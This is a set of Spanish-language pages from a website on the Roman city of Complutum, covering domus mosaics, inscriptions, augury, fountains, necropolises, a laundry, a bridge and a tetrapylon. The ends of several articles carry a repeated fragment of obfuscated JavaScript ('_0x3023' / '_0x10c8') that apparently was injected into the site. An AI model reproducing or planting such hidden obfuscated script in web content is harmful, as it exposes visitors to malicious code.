    La Casa de los Cupidos fue localizada en 1973 en la zona sureste de Complutum y su estructura es similar al resto de viviendas de la ciudad, domus con patio central y peristilo.  Al igual que la Casa de Baco, las intervenciones arqueológicas solo afectaron a los mosaicos principales y al corredor que discurre en torno al patio (peristilo).

    Los restos que se pudieron conservar pertenecían a un patio de pequeñas dimensiones solado con un opus testaceum y una gran estancia (oecus), dividida en sala y antesala. La sala estaba pavimentada con un magnífico mosaico de motivos geométricos con la representación de dos cupidos en el emblema central y la antesala con un mosaico más sencillo de carácter exclusivamente geométrico. Respecto a la cronología, fundamentada principalmente por los mosaicos a causa de la ausencia de materiales fechables, se propuso el siglo V-VI d.C.

    Detalle del mosaico de la Casa de los Cupidos de Complutum
    Mosaico restaurado de la Casa de los Cupidos

    El dato

    El opus signinum era una técnica constructiva heredada de los fenicios que fue muy utilizada por los romanos para la pavimentación de calles y vías, edificios termales, canalizaciones hidráulicas y sobretodo viviendas. Consistía en una mezcla impermeable de cal, arena y fragmentos cerámicos a la que también se le añadían teselas para componer distintos diseños. 

    La Casa de Los Cupidos II

    La Casa de los Cupidos II estaba situada próxima al Foro y a la Casa de Leda. Los pocos datos que se tienen sobre este edificio son fruto del seguimiento de una obra destinada al saneamiento de un sótano en un inmueble de la calle Nuestra Señora de Belén en 1993. En aquella intervención se encontraron algunos materiales constructivos y parte de un mosaico de opus tessellatum de grandes dimensiones. En 2008, a causa de los problemas de conservación, se acometió una nueva intervención arqueológica y se retiró parte del mosaico de la vivienda para ser restaurado.

    El fragmento recuperado del mosaico tiene una banda geométrica con circunferencias y rombos y un elemento principal con cuatro emblemas. En uno de estos emblemas aparecen dos cupidos afrontados, que dan nombre a la vivienda, y en el otro, parte de una inscripción. Dadas las dificultades de la intervención arqueológica, solo se ha podido aventurar una datación de la vivienda, en torno a los siglos III y IV d.C.

    El dato

    Las dimensiones totales de la Casa de Cupidos II no se conocen, tan solo las de la estancia que ocupaba el mosaico, de unos 60 a 70 m2. Esta gran estancia permitió a los investigadores suponer que se trataba de una impresionante vivienda.

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  • Liberto de Complutum

    De esclavo a cargo público

    En Complutum la esclavitud fue una institución corriente, pero en la práctica cotidiana, fue algo más complejo de lo que se piensa. Los epitafios de algunos esclavos y libertos dejan constancia de ello. Conocemos el ejemplo de Lucius Iulius Secundus, un esclavo complutense que consiguió convertirse en liberto y pertenecer al colegio de seviri augustales.  En el Imperio Romano un esclavo adinerado podía comprar su libertad y ascender en la escala social, aunque siempre quedaba ligado a sus propietarios de alguna manera. Los datos que se conocen de este liberto provienen de una inscripción procedente de Complutum en la que se podía leer:
    Recreación de una inscripción dedicada a un Seviri Augustal de Complutum
    Consagrado al panteón de Augusto. Lucius Iulius Secundus, liberto de Lucius (…) servil augustal, hizo que fuera puesto a su costa y de la misma manera lo dedicó.
    El colegio de seviri augustales era una institución urbana que utilizaban los libertos como vía de promoción social. Éstos se encargaban del culto a los dioses y a la dinastía gobernante mediante actos religiosos que costeaban ellos mismos.  Por lo general estos libertos solían estar dedicados a actividades artesanales, comerciales o financieras. Acceder a este cargo era una manera de manifestar su ascendencia económica en el contexto de la comunidad local. Además, pertenecer a esta institución daba acceso a sus miembros a conseguir la ciudadanía romana.

    El dato

    La mayor concentración de inscripciones referidas al sevirato augustal se da en la Península Itálica, la Galia e Hispania, por lo que parece que se trató de una institución propia del ámbito latino-occidental del Imperio Romano. Esta inscripción en concreto ha sido datada en el siglo II d.C. El culto a los Santos Niños a lo largo de la historia ha marcado en gran manera a la ciudad de Alcalá de Henares. Tanto es así, que Justo y Pastor, los niños mártires, son los patronos de la ciudad. El origen de su historia se remonta a la ciudad romana del siglo IV d.C., Complutum, y ha llegado hasta nosotros difundida por diferentes autores. Más información La historia de Varia ha llegado hasta nosotros gracias a las labores arqueológicas realizadas en la Casa de los Grifos. El estudio pormenorizado de las pinturas recuperadas en esta domus hizo que los investigadores encontrasen un grafito con el nombre de Varia en una de las estancias de la casa, en concreto en la denominada U. Más información Se ha podido constatar que en el año 350 d.C. se registró un terremoto en el yacimiento de La Magdalena, que provocó su abandono de forma repentina en el siglo IV. Según las investigaciones, el terremoto solo fue de ámbito local y dejó claras evidencias en el registro arqueológico del yacimiento y del entorno próximo, como muros basculados, plegados y desplazados, e incluso tumbas deformadas en la necrópolis. Más información Aunque se desconoce su identidad, los arqueólogos han podido identificar en uno de los mosaicos recuperados en las primeras excavaciones de Complutum a uno de los primeros médicos de Madrid, un complutense. El personaje en cuestión aparece en el mosaico de Aquiles, perteneciente a una gran sala pavimentada del Mausoleo de Aquiles. Más información function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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  • Libros

    Libros sobre Complutum

    Aquí puedes consultar y descargar los principales libros que se han ido publicando a lo largo de estos años a cerca del yacimiento arqueológico de la ciudad de Complutum. Están ordenados por AUTORES en índice alfabético.
    • A-Z
    Patrimonio Arqueológico y actuaciones urbanísticas en Alcalá de Henares (1985-2007) LIBRO
    Patrimonio Arqueológico y actuaciones urbanísticas en Alcalá

    CASTILLO MENA, ALICIA

    2012
    alcala-una-ciudad-en-la-historia LIBRO
    Alcalá,una ciudad en la Historia

    Castillo Oreja, Miguel Angel (Editor)

    2008
    Excavaciones Arqueológicas en España:Complutum.Parte I y II.
    Excavaciones Arqueológicas en España:Complutum.Parte I y II.

    Fernández-Galiano, Dimas

    1984
    Los puentes romanos de Complutum
    Los Puentes Romanos de Complutum y la fundación de la Ciudad

    Fernández-Galiano, Dimas

    2019
    Un día en la antigua Complutum en compañía de Terencia Antila, una niña complutense
    Un día en la antigua Complutum en compañía de Terencia Antila, una niña complutense

    Rascón Marqués,Sebastián (Editor)

    2019
    Ciudad Romana de Complutum 2020
    Ciudad Romana de Complutum.2020

    Rascón Marqués,Sebastián (Editor)

    2020
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  • Mapa del sitio

    Mapa de complutum.com

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  • Mundo mágico

    Magia, adivinación y superstición

    [responsivevoice_button voice = “Spanish Female” buttontext=”Escucha el texto”] La magia y la superstición tenían una importancia fundamental en el día a día de los romanos en la antigüedad. Ninguna decisión importante se tomaba sin consultar primero a los augures, que constituían uno de los cuatro colegios sacerdotales de la Antigua Roma. Hispania, como fundación del Imperio Romano, contaba también con un Colegio Augural con las mismas condiciones y derechos para los pontífices y augures de cualquier colonia.
    Reconstrucción parcial del Auguraculum de Complutum.
    El Auguraculum de Complutum
    En Complutum existía un grupo de sacerdotes encargados de plantear preguntas a los dioses, hacer rituales y predecir el futuro. Se dividían en augures y auspicia, ambos encargados de asesorar en la toma de decisiones importantes a los magistrados. Los augures recurrían a la observación de las aves y de los fenómenos celestiales para predecir el futuro. Éste se comunicaba al magistrado, quién decidía si los dioses estaban de acuerdo o no en la decisión que se debía tomar. Los auspicia, sin embargo, se valían de la interpretación de las vísceras de los animales sacrificados para predecir buenos o malos augurios. Todo era interpretado como una señal que los dioses enviaban para manifestar su presencia y expresar su voluntad. Para esta difícil actividad existían los “Libros Augurales”, manuales de instrucciones de la ciencia augural que se guardaban en los Colegios de Augures.

    El dato

    Plinio dejó clara su opinión sobre estas prácticas mágicas, criticando la facilidad con que la gente vinculaba cualquier fenómeno difícil de explicar a una causa mágica, denominando a la magia como fraudulentissima artium (arte fraudulenta). Pero la magia y la superstición también se practicaban en el ámbito privado, en el interior de las viviendas. Con la religión se trataba de atraer el favor de los dioses y evitar sus castigos mediante plegarias y sacrificios. Sin embargo, con la magia, se intentaba someter la voluntad de las fuerzas superiores a través de la coacción. La práctica de la magia estaba penada hasta con la muerte y para regularla se crearon diferentes leyes, como la “Ley Cornelia de sicarios y envenenadores”. Había dos tipos de magia: la buena o blanca, que estaba más centrada en la sabiduría y a la adivinación; y la negra, que conjuraba a los seres del inframundo para conseguir resultados que no tenían un buen fin. En Complutum, se han podido documentar ofrendas enterradas en el Auguraculum e incluso en lugares públicos, pero también en casi todas las viviendas que han sido estudiadas. En ambientes domésticos como en la Casa de los Grifos, se encontraron principalmente sacrificios animales asociados a contenedores de cerámica enterrados. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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  • Origen e historia

    Seis siglos de presencia romana

    Complutum, historia y origen de la antigua ciudad romanaA poco más de 20 km de Madrid, en las magníficas vegas de la margen derecha del río Henares, se encuentra la ciudad romana de Complutum. Su origen se remonta a finales del siglo I a.C., cuando la población complutense abandonó el cerro de San Juan del Viso para instalarse en tierras más fértiles para el cultivo y el pastoreo y acercarse a las grandes vías de comunicación. Se construyó una moderna ciudad de nueva planta y paisaje plenamente romano que pronto recibió el rango de municipium. El extenso territorio de Complutum abarcaba parte de la Comunidad de Madrid y de las provincias de Guadalajara, Cuenca y Toledo, situado en la Celtiberia y en concreto en la zona del primitivo pueblo Carpetano.
    La Vega del río Henares ha sido desde épocas prehistóricas un lugar de asentamiento humano, especialmente durante el Calcolítico, la Edad del Bronce y la Edad del Hierro. Se han podido documentar un gran número de yacimientos de larga ocupación, conformados por lugares de habitación y zonas defensivas que anunciaban ya el inicio de un complejo urbanismo. El Cerro de San Juan del Viso se ha considerado siempre un lugar privilegiado, una fortaleza natural desde la que se podían controlar las principales vías de comunicación de la zona. La antigua Complutum del cerro se desarrolló políticamente a partir de una de las ciudades estado carpetanas y ya estaba fuertemente romanizada en época de Augusto. Existen restos visibles de la infraestructura urbana, como una posible cisterna y unas termas públicas, que actualmente siguen siendo investigados y excavados por el equipo de Sandra Azcárraga. La ciudad fue construida probablemente al final de la República y parece que nunca llegó a abandonarse por completo, pasando a ser un suburbio de la nueva ciudad del llano.

    El dato

    La ciudad de nueva planta se comenzó a construir en época de Augusto, en la primera década del siglo I d. C., correspondiendo con el barrio más occidental de la ciudad junto a la Fuente de El Juncal, y se materializó en época de Claudio, a mediados del siglo I d.C.

    La predilección por este nuevo emplazamiento podría deberse a varios factores, entre ellos el religioso, ya que su localización entre los ríos Henares y Camarmilla responde a la fuerte relación por el culto de los romanos al agua, las ninfas y a Diana.
    Complutum pronto se convirtió en un importante centro económico y estratégico del que partirían y confluirían vías hacia distintos lugares de la geografía de Hispania.
    En el siglo V d.C. se desarrollaron importantes modificaciones arquitectónicas en la ciudad, pero manteniendo el diseño urbano original. Este se mantuvo hasta prácticamente el siglo VIII d.C. mientras uno de los suburbios orientales, el Campo Laudable (el actual centro de Alcalá de Henares) iba ganando población y relevancia. El colapso definitivo de Complutum llegó con la invasión islámica en el año 711, cuando el centro poblacional se trasladó a las colinas de la margen izquierda del río Henares.

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  • Otros restos arqueológicos
    Auguraculum

    El yacimiento arqueológico

     El Parque Arqueológico de Complutum cuenta con dos recintos visitables, el recinto Foro y Regio II y la Casa de Hippolytus.

    El recinto Foro y Regio II, situado en la Avenida del Juncal nº 12 de Alcalá de Henares, comprende los restos arqueológicos de parte de la ciudad romana de Complutum, entre los que se encuentran  algunas viviendas,  los edificios públicos, el Auguraculum y la Casa de los Grifos.

     Aquí puedes encontrar información relacionada con ello:

    Manzana VII

    Vista de las viviendas de la Manzana VII de Complutum.

    La Manzana VII es uno de los primeros lugares que podremos ver durante nuestra visita a Complutum y comprende tres viviendas privadas con diferentes características.

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    Edificios Públicos

    Edificios públicos

    Todas las ciudades del Imperio Romano contaban con una serie de edificios al servicio de la población que estaban destinados a labores administrativas, políticas, religiosas y de ocio.

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    Auguraculum

    Auguraculum

    Auguráculum era el nombre con el que se conocía en Roma a los lugares donde se practicaba la adivinación y diversos rituales. En Complutum encontramos un edificio con esta función.

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    Infraestructuras

    Pozo del peristilo de la Casa de los Grifos.

    Complutum, como todas las ciudades de nueva construcción del Imperio, contaba con un moderno sistema de alcantarillado y de abastecimiento de aguas que daba servicio a toda la ciudad.

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  • Otros restos arqueológicos

    Viviendas, santuarios, fuentes y necrópolis

    [responsivevoice_button voice = “Spanish Female” buttontext=”Escucha el texto”] Además de los restos arqueológicos visitables en el Parque Arqueológico de Complutum se deben reseñar varios lugares que actualmente, bien porque no han perdurado en el tiempo o por su estado de conservación, no se pueden ver. La mayoría de ellos fueron documentados en los años 70, durante las obras de ampliación de la ciudad para albergar cientos de nuevas viviendas. Entre ellos podemos encontrar viviendas, santuarios, fuentes y necrópolis, de los que se consiguió recuperar una magnífica colección de mosaicos y diversos materiales.
    fuente-juncal-complutum
    Fuente de El Juncal

    Villa del Val

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    La Magdalena

    ‘Tetrapylon’

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    Las fuentes

    Puente de Zulema

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    ‘Fullonica’

    Necrópolis Matillas

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    Mausoleo Aquiles

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    Vivienda romana

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    • Área funeraria de Las Matillas

      Tumbas en un ‘paisaje sagrado’

      Los accesos a la Ciudad de Complutum estaban rodeados por áreas funerarias. En ellas se entremezclaban grandes mausoleos, propios de familias acaudaladas, con enterramientos más modestos, coronados tan solo con estelas y lápidas. Estas necrópolis solían estar distribuidas siguiendo la alineación de las calzadas que llegaban hasta las ciudades.
      Área Funeraria de Las Matillas
      Ubicación sobre un plano actual del Área Funeraria de Las Matillas
      El yacimiento de Las Matillas contó con dos momentos de ocupación diferentes: uno primero de época calcolítica, del que solo se documentaron las plantas de las viviendas (fondos de cabaña); y otro posterior de época romana, que albergaba una zona funeraria con una necrópolis.

      El dato

      Las tumbas excavadas en la necrópolis de Las Matillas se caracterizan por tener una construcción sencilla y ajuares compuestos por piezas de cerámica y vidrio. La zona, que está ubicada en el Oeste de Alcalá de Henares, no es visitable. El Área Funeraria de Las Matillas se localizó al Oeste de la ciudad de Complutum, cerca del tetrapylon y las fuentes de la ciudad, y fue excavada entre 1997 y 1998. Se trataba de un conjunto de tumbas de cronología bajoimperial que compartía espacio con restos de un edificio encontrado en 1994. Éste último, era probablemente un mausoleo, fechado en los siglos I o II d.C. Las labores de excavación permitieron documentar una treintena de tumbas pertenecientes a los siglo III y IV d.C., caracterizadas por una construcción sencilla y unos ajuares algo pobres. Del edificio se pudo documentar una estructura de habitación construida en tapial (muros de tierra arcillosa húmeda y compactada) sobre una cimentación de piedra y cantos rodados. La  necrópolis de Las Matillas formaba parte de un ámbito funerario más amplio, el denominado ‘paisaje sagrado’ que se extendía hacia el Oeste y el Sur, hasta unirse con el área sagrada del mausoleo de los Annios y la zona de El Juncal. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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    • Fuentes de la Salud y El Juncal

      Aguas con propiedades saludables

      El abastecimiento de agua en las ciudades del Imperio se realizaba mediante la recogida del agua de la lluvia o el aprovechamiento de manantiales y pozos.

      El agua de los ríos no era considerada saludable por los romanos ya que éstos eran el lugar para verter las aguas contaminadas.

      Recreación virtual de la Fuente de El Juncal de Complutum.
      Representación de la fuente de El Juncal

      La ciudad de Complutum contaba con dos fuentes conocidas desde la antigüedad por sus propiedades saludables: la fuente de El Juncal y la fuente de La Salud

      Eran dos fuentes gemelas situadas a las afueras de la ciudad que indicaban la llegada a Complutum desde Toledo. Ambas eran entendidas como ninfeos (monumentos consagrados a las ninfas).

      La primera, la fuente de La Salud, se encontraba cerca de la puerta occidental de la ciudad y junto a la orilla derecha del río Henares.

      La fuente de El Juncal formaría parte de un área de fuentes y manantiales de aguas mineralizadas que se consideraron milagrosas hasta el siglo XVII.

      Fuente El Juncal
      Manuel Azaña junto a su padre y su hermano mayor, en la fuente de El Juncal hacia 1889. Ateneo de Madrid.

      El dato

      Interesante fotografía de la fuente de El Juncal en la que aparecen Manuel Azaña, todavía niño, su padre Esteban y su hermano Gregorio. Esta imagen nos permite conocer el estado de la fuente a finales del siglo XIX.

      Aún en la segunda mitad del siglo XVII, la fuente de El Juncal era un centro de celebraciones religiosas donde se desarrollaba una procesión con las imágenes de los Santos Justo y Pastor, actualmente patronos de la ciudad de Alcalá de Henares.

      Ésta discurría desde el Paredón del Milagro a la fuente de El Juncal, donde se hacía algún tipo de inmersión y consumo de aguas, y al río. Estaríamos ante la cristianización de una práctica pagana, una celebración vinculada a la diosa Diana y a las Ninfas.

      El aspecto que actualmente tienen ambas fuentes es fruto de las restauraciones sufridas en el siglo XIX tras ser expoliadas para aprovechar sus materiales constructivos.

      Estado actual de la Fuente del Juncal.
      Fuente de El Juncal
      La fuente de la Salud
      Fuente de La Salud
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    • Fullonica del Camarmilla

      La lavandería de Complutum

      La fullonica del Camarmilla era la lavandería de la ciudad de Complutum y estaba situada a las afueras, al pie de la vía que se encaminaba al noroeste, buscando el río Jarama. Tenía una ubicación privilegiada, cerca de la ciudad y junto al Camarmilla, río del que recogía las aguas para la explotación y al que vertía también las aguas. Sus restos fueron  localizados y excavados con motivo de la construcción del Polígono de Camarmilla en 1987.
      Recreación virtual de la Fullonica del Camarmilla.
      Recreación 3D de la fullonica
      El edificio de la fullonica tenía diferentes estancias: una zona para recibir a los clientes y almacenar la ropa, otra zona de vivienda y finalmente la zona de trabajo con una piscina y varias pilas de agua (lacuna fullonica).
      Plano de la Fullonica del Camarmilla.
      Plano de la fullonica

      El dato

      La construcción del edificio es difícil de fechar, pero el estudio de los materiales cerámicos y numismáticos nos acerca a finales del siglo I d.C. Se sabe que a partir del siglo III d.C. el edificio fue amortizado y abandonado.

      Recreación de la Fullonica del Camarmilla.
      Interpretación del entorno de la fullonica
      Todas las ciudades del Imperio contaban con al menos una fullonica (lavandería), lugar donde se lavaba, secaba y planchaba la ropa además de retintar la misma cuando perdía color. La ropa generalmente era tratada con una mezcla de cal, orina y cenizas que se utilizaba como detergente y mordiente. La orina era recolectada en las letrinas de la ciudad e incluso en vasijas que se colocaban en las calles. Una vez tratadas las prendas se aclaraban con agua y se blanqueaban con arcilla blanca. En la fullonica de Camarmilla se han hallado restos de cal, orina y ceniza que apoyan la interpretación del edificio.
      Recreación virtual de la Fullonica del Camarmilla.
      Interpretación de trabajos realizados en la fullonica
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    • La Magdalena

      Un yacimiento de larga ocupación

      El yacimiento de “La Magdalena” está situado a unos 4 km al Este de la ciudad de Complutum y consta de varias fases diferenciadas de ocupación: una necrópolis calcolitica, dos periodos de ocupación industrial de época romana altoimperial, una necrópolis bajoimperial y finalmente enterramientos de época visigoda, de los siglos VI, VII y VIII. En el siglo I d.C. se crea un complejo industrial ligado a la ciudad de Complutum, compuesto por un centro alfarero con almacenes de trabajo. Las instalaciones contaban también con pozos, depósitos de agua, silos y un área de extracción de tierras para la actividad cerámica. Del complejo destacan los tres hornos, construidos durante la dinastía Julio Claudia, de los que se conservan parte de sus estructuras. En la zona también se han encontrado canales con dirección al río Henares y un gran foso con la finalidad de aprovechar al máximo el agua. La producción que se realizaba en este complejo ha sido difícil de identificar por la escasa muestra de materiales extraídos. La actividad de este complejo era la fabricación de cerámica (tejas, ladrillos, etc)
      Restos arqueológicos de hornos cerámicos de la Magdalena en Alcalá de Henares
      Detalle de los tres hornos (Fase Magdalena II-A). Imagen: Trébede y SHB.

      El dato

      En el yacimiento de “La Magdalena” se vio afectado por un terremoto en el año 350 d.C. dejando claras evidencias en el registro arqueológico. Tras la caída en desuso de los hornos en los inicios de la época Flavia, se construyen una serie de almacenes de los que se han podido documentar un total de seis edificios: uno principal de carácter administrativo y el resto de almacenamiento, distribuidos en torno a una plaza central. La actividad en esta época parece estar relacionada con la explotación agropecuaria. Posteriormente, en los siglos III-IV d.C. la zona vuelve a cambiar de uso  y se instala una necrópolis de unos 2000 m2 que albergaba un gran número de tumbas. Existen evidencias de que muchos de los individuos fueron enterrados en féretros de madera y alrededor de la mitad de ellos presentaban algún tipo de ajuar. En torno a esta área se encontró una nueva fase de ocupación, un conjunto de enterramientos tardorromanos compuesto por 14 tumbas, de las cuales presentaban ajuar alrededor de la mitad. Estos ajuares estaban formados por piezas de cerámica y algún objeto de bronce o hierro.
      Enterramientos del yacimiento de la Magdalena en Alcalá de Henares.
      Individuos romanos bajoimperiales sin ajuar. Tumbas 4005 y 4433.
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    • La vivienda romana (I)

      La vivienda

      La vivienda en el Imperio Romano, como ha sucedido en otros periodos de la historia, era un reflejo del estatus social y económico alcanzado por la sociedad.

      Para los romanos el hogar era algo muy importante. Así lo demuestra el término domus, utilizado para designar la casa o vivienda y que deriva de la palabra dominium, propiedad. Poseer una propiedad, ya fuera una vivienda o un terreno, era un símbolo de éxito social en aquella época.

      En Complutum, la mayoría de las edificaciones que existen son viviendas, y el único tipo documentado hasta ahora es la domus. Dentro de este tipo se han podido diferenciar tres modelos distintos:

      • casa con patio central porticado y con jardín.
      • casa con patio porticado pavimentado.
      • casa con atrio mediterráneo.

      La Casa de Baco

      La Casa de Baco fue localizada en 1973 durante las obras de construcción de nuevas viviendas en Alcalá de Henares.

      Estaba situada cerca del Foro y fue catalogada como domus mediterránea de peristilo.

      En la vivienda se pudieron documentar diferentes estancias: un triclinium o comedor pavimentado con un mosaico en el que aparece Baco, un oecus o sala de prestigio y un recibidor o vestibulum pavimentado con un mosaico en el que aparecen dos cupidos. Éstos representan la alegoría constantiniana de los felicia tempora (alegoría común que se representa con erotes).

      https://www.youtube.com/watch?v=rqvLRS1VP4I

      En la parte central se encontraba el gran patio o peristilo, compuesto por un jardín (viridarium) y pórticos alrededor (ambulacra), pavimentados con opus tessellatum.

      https://www.youtube.com/watch?v=DFPj02gZFJo

      La última fase de ocupación de la vivienda fue probablemente en la primera mitad del siglo IV d.C. aunque su planta responde al modelo de vivienda de mitad del siglo I d.C.

      La mayoría de los mosaicos recuperados de la Casa de Baco se encuentran expuestos actualmente en el Museo Arqueológico Regional.

      El dato

      El opus tessellatum era una técnica constructiva musivaria utilizada en época romana para pavimentar grandes estancias utilizando teselas de diferentes colores. Con esta técnica se realizaban mosaicos de diferentes temáticas.

      La Casa de Leda

      Esta domus fue localizada en 1976 en la mitad oriental de la ciudad, situada cerca del Foro.

      Fue clasificada como domus mediterránea de peristilo (casa con patio porticado) y datada entre los siglos I y V d.C.

      El patio estaba pavimentado con opus spicatum y tenía una estructura hidráulica interpretada como un sumidero. Lo que hace especial esta vivienda es un espectacular mosaico que representa ‘El adulterio de Zeus con Leda’.

      La domus contaba también con otras dos estancias pavimentadas con opus signinum (pavimento pulido compuesto por un mortero de cal y cerámica machacada) y restos de pintura mural. El gran mural está actualmente expuesto en el Museo Arqueológico Regional.

      Escena principal y decoración geométrica del mosaico de Leda encontrado en una vivienda de Complutum
      El gran mosaico de la Casa de Leda representando el adulterio de Zeus con Leda

      El dato

      El opus spicatum era un tipo de construcción utilizada en época romana en la que se utilizaban piedra o ladrillos tallados colocados en forma de espina de pez. Se utilizaba tanto para pavimentar estancias como para la realización de muros o paredes.

      La Casa de los Peces

      La Casa de los Peces estaba localizada en el límite sur de la ciudad y fue encontrada en 1973 durante la construcción de un nuevo barrio en Alcalá de Henares.

      El rápido crecimiento de la ciudad solo permitió retirar los mosaicos principales de la vivienda, datada en torno al siglo III d.C. aunque se sabe que fue construida sobre otra más antigua.

      De esta domus se pudieron documentar  tres estancias: una habitación pavimentada con opus signinum (pavimento pulido compuesto por un mortero de cal y cerámica machacada); otra estancia de mayor tamaño (probablemente un triclinium o comedor) pavimentada con un espectacular mosaico de tema geométrico, y un patio interior en el que se encontró el famoso mosaico de los peces. Este mosaico fue interpretado como el fondo de un estanque.

      El mosaico de Los Peces se puede ver actualmente en el Museo Arqueológico Regional.

      El dato

      La segunda fase de la vivienda pudo ser fechada gracias al hallazgo de una moneda de Galieno (que reinó entre 253 – 268 d.C.) que apareció bajo el pavimento de opus signinum de una de las estancias.

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    • Mausoleo de Aquiles

      Una gran sala pavimentada

      Según las evidencias arqueológicas, el mausoleo de Aquiles se encontraba a unos 70 m de la puerta Norte de Complutum, en la vía que se encaminaba hacia la Fullonica del Camarmilla y posteriormente a Daganzo. Fue descubierto en 1972 y la única intervención arqueológica que sufrió fue para la recuperación de un gran mosaico. Del mausoleo solo se conoce un elemento arquitectónico, la gran sala pavimentada que albergaba el espectacular mosaico de Aquiles y Pentesilea. Respecto a la datación, el mosaico es de fecha tardoseveriana pero el edificio fue construido a mediados o finales del siglo III d.C.

      El dato

      La mitología fue uno de los temas artísticos favoritos de la aristocracia romana ya que refleja su prestigio y poder. Durante el Imperio, la cultura griega tuvo mucha influencia sobre el mundo romano porque se consideraba más importante y refinada. La escena principal de este magnífico mosaico representa a Aquiles dispuesto a matar a la reina de las amazonas, Pentesilea. La diosa aparece representada caída y con la rodilla en tierra. La escena se encuentra rodeada por representaciones de tema funerario y vinculados a la medicina.  Entre ellos se encuentra un retrato: el de un médico. Éste probablemente fuera el que ocupaba este edificio funerario. Este espectacular mosaico se encuentra expuesto actualmente en el Museo Arqueológico Regional.
      Detalle del mosaico de Aquiles
      Detalle del mosaico de Aquiles
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    • Puente de Zulema

      Un puente sobre el río Henares

      La primera fundación de la ciudad de Alcalá se situaba junto a un vado que permitía cruzar el río Henares a pie de manera fácil. Este paso natural unía dos caminos importantes de la península, el procedente de la costa levantina y el que atravesaba la submeseta en dirección Este-Oeste. Facilitaba la comunicación entre el Campo Laudable (centro de la actual Alcalá de Henares) y el Cerro del Viso a través de la Cuesta de Zulema.

      Fotografía antigua del Puente romano de Zulema.
      Alcalá de Henares. Antiguo puente de Zulema. Autor: Casa Moreno. Archivo de Arte Español. 1893 – 1953

      Una de las primeras cosas que hicieron los romanos al instalarse en la vega del Henares, en su afán por mejorar y modelar con obras de ingeniería los caminos, fue construir un puente al sur de la ciudad de Complutum, sobre el vado natural que comunicaba ambas orillas. Además de facilitar el paso, el puente cumplía la función de evitar la acumulación de troncos y restos vegetales en esa zona del río. La construcción contaba con una plataforma revestida de piedras, que hacía la función de presa, y un puente provisto de nueve arcos de medio punto. Sobre ellos se instaló el enlosado,
      consiguiendo una superficie de unos 4 metros de altura sobre el nivel del río. Los tajamares (los pilares que sujetaban el puente), estaban construidos en opus caementicium (mortero similar al actual hormigon) forrado de piedra. Posiblemente fue el ejército romano el que se encargó de construir el puente como parte de un programa de obras públicas orientadas a mejorar las infraestructuras de comunicación para conseguir el dominio del territorio.

      No se sabe con seguridad el momento preciso de la construcción del puente, pero por sus características constructivas parece claro que es una obra romana de época republicana.

      El dato

      En el siglo XVII, Cervantes hizo referencia al paraje que rodea al Puente de Zulema y a la ciudad de Complutum en “El Quijote”:
      “Y aún haré cuenta que voy caballero sobre el caballo Pegaso, o sobre la cebra o alfana en que cabalgaba aquel famoso moro Muzaraque, que aún hasta ahora yace encantado en la gran cuesta Zulema, que dista poco de la gran Compluto”.

      El puente se conservó bastante bien hasta el siglo XIX, aunque tuvo que ser rehabilitado tras la Guerra de Independencia. Fue en el siglo XX cuando tuvo que ser derruido tras la explosión de un polvorín situado en uno de los cerros contiguos al puente.

      Restos del puente romano de Zulema en Alcalá de Henares
      Restos del puente de Zulema después de su destrucción por el polvorín

      El puente fue acondicionado hace unos años y sobre los antiguos tajamares romanos (pilares) se instaló una pasarela de madera que permite de nuevo cruzar el río. Aún pueden verse parte de las pilas construidas en piedra y opus caementicium, el último arco del puente y parte del enlosado del vado. Algunos tramos del enlosado formado por cuadrículas de madera y piedra se conservan bastante bien y se pueden ver perfectamente cuando el río Henares baja con poca agua. 

      Enlosado romano del Puente de Zulema.
      Enlosado romano del puente de Zulema
      Estado actual del Puente del Zulema.
      Puente de Zulema después de su acondicionamiento
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    • Tetrapylon

      El acceso monumental a Complutum

      Tetrapylon de Complutum
      Restos arqueológicos del Tetrapylon de Complutum
      El Tetrapylon fue un tipo de obra pública de gran envergadura que proliferó en Oriente a finales de la época de los Antoninos. En Occidente fueron menos frecuentes pero también se han podido documentar. Un ejemplo es el hallado de forma fortuita en Complutum en los alrededores de la Fuente del Juncal, durante unas excavaciones en 2010. Desgraciadamente solo se conservan sus cimientos, cuatro pilares de opus caementicium ( mortero similar al hormigón actual), que sustentarían esta impresionante construcción. Existe otro pilar situado al Norte del arco, de idénticas características, que constituiría la base de un monumento exento. También se conservan restos del Decumano Máximo (calle principal que atravesaba la ciudad de Este a Oeste), a su paso bajo el arco, ya que este tipo de construcciones se instalaban en el cruce de dos caminos. El Tetrapylon ha sido interpretado como un acceso monumental a la ciudad de Complutum desde el Oeste, que contaría con un monumento anexo tipo escultura o columna. Respecto a su cronología, teniendo en cuenta el momento en que se popularizaron este tipo de construcciones, se puede fechar en el siglo III d.C. Es en esta época es cuando Complutum sufre diferentes obras de regeneración urbana.

      EL DATO

      El Tetrapylon de Caparra (finales del siglo I d.C.) es el único arco cuadrifronte (arco de cuatro frentes) que se conserva en la península. Caparra fue una ciudad romana situada al norte de la provincia de Cáceres, de la que se conservan numerosos restos arqueológicos. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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    • Villa del Val

      Una gran residencia a las afueras

      Reconstrucción virtual de la Villa del Val
      Recreación 3D de la Villa del Val
